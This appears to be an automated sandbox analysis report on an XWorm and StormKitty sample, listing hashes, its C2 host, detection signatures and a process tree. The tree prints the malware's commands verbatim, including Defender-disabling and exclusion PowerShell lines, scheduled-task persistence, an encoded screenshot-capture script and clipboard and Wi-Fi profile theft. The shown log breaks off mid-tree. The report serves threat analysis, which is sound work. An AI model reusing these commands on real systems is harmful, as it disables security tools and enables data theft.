Overview

overview

10

Static

static

10

lacks.py.exe

windows10-1703-x64

Analysis

  • max time kernel
    165s
  • max time network
    170s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-08-2024 15:16

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    lacks.py.exe

  • Size

    44KB

  • MD5

    c5b1a6040033863fd8bfdd5228e18f52

  • SHA1

    e5d722229b5763e1696c0050c03c1bb3e10a985d

  • SHA256

    fcbd4dea80c08ac6b4a9900063cd99e09d0d0ebd8c1f3121aaccfa0633a40dcc

  • SHA512

    bb8e5e1828fa63ee0180977bd3b2c3eac913545d39f275ae4fdcc8edeabd5b24bfbce6fd66e766b7def9c514f12c5ca7ee4c277d300beba60488733df725f265

  • SSDEEP

    768:c0yUbkms0JqxXAsvf1f3okU2jCp/J7X+F+R9pPb6vOChzbWL6f:c0/bkt0JqhAmfR5U2jG/FOF09Rb6vOCh

Score
10/10
stormkittyxwormcollectioncredential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationransomwareratspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

Version

5.0

C2

coming-park.gl.at.ply.gg:2444

Mutex

K7NSFqXjepnC2GKu

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Detect Xworm Payload 1 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 5 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\lacks.py.exe
    "C:\Users\Admin\AppData\Local\Temp\lacks.py.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Sets desktop wallpaper using registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lacks.py.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'lacks.py.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\lackssbb.py'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'lackssbb.py'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1328
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "lackssbb" /tr "C:\Users\Admin\AppData\Roaming\lackssbb.py"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4164
    • C:\Users\Admin\AppData\Local\Temp\qyywgz.exe
      "C:\Users\Admin\AppData\Local\Temp\qyywgz.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Users\Admin\AppData\Local\Temp\qyywgz.exe
        "C:\Users\Admin\AppData\Local\Temp\qyywgz.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\qyywgz.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3996
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\qyywgz.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3516
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            5⤵
            • Deletes Windows Defender Definitions
            PID:5724
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\qyywgz.exe""
          4⤵
          • Hide Artifacts: Hidden Files and Directories
          • Suspicious use of WriteProcessMemory
          PID:4696
          • C:\Windows\system32\attrib.exe
            attrib +h +s "C:\Users\Admin\AppData\Local\Temp\qyywgz.exe"
            5⤵
            • Views/modifies file attributes
            PID:3888
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌ ‌.scr'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4996
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌ ‌.scr'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            PID:348
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            5⤵
              PID:4612
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
            4⤵
            • Clipboard Data
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-Clipboard
              5⤵
              • Clipboard Data
              • Suspicious behavior: EnumeratesProcesses
              PID:460
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5092
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              PID:3368
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2896
            • C:\Windows\system32\tree.com
              tree /A /F
              5⤵
                PID:3848
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
              4⤵
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4164
              • C:\Windows\system32\netsh.exe
                netsh wlan show profile
                5⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:1152
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "systeminfo"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3836
              • C:\Windows\system32\systeminfo.exe
                systeminfo
                5⤵
                • Gathers system information
                PID:4624
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1072
              • C:\Windows\system32\reg.exe
                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                5⤵
                  PID:1020
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2888
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5020
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\54thyn0e\54thyn0e.cmdline"
                    6⤵
                      PID:1156
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES36C6.tmp" "c:\Users\Admin\AppData\Local\Temp\54thyn0e\CSC91440FC524B145B4B95B132BBCBEA289.TMP"
                        7⤵
                          PID:5048
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                      PID:2700
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:3384
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                        4⤵
                          PID:2472
                          • C:\Windows\system32\attrib.exe
                            attrib -r C:\Windows\System32\drivers\etc\hosts
                            5⤵
                            • Drops file in Drivers directory
                            • Views/modifies file attributes
                            PID:4256
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          4⤵
                            PID:2760
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              5⤵
                                PID:432
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                              4⤵
                                PID:1300
                                • C:\Windows\system32\attrib.exe
                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                  5⤵
                                  • Drops file in Drivers directory
                                  • Views/modifies file attributes
                                  PID:432
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                4⤵
                                  PID:4252
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    5⤵
                                      PID:1836
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                    4⤵
                                      PID:2472
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist /FO LIST
                                        5⤵
                                        • Enumerates processes with tasklist
                                        PID:1432
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      4⤵
                                        PID:4616
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          5⤵
                                            PID:1316
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          4⤵
                                            PID:4820
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              5⤵
                                                PID:432
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "getmac"
                                              4⤵
                                                PID:5680
                                                • C:\Windows\system32\getmac.exe
                                                  getmac
                                                  5⤵
                                                    PID:5760
                                                • C:\Windows\system32\cmd.exe
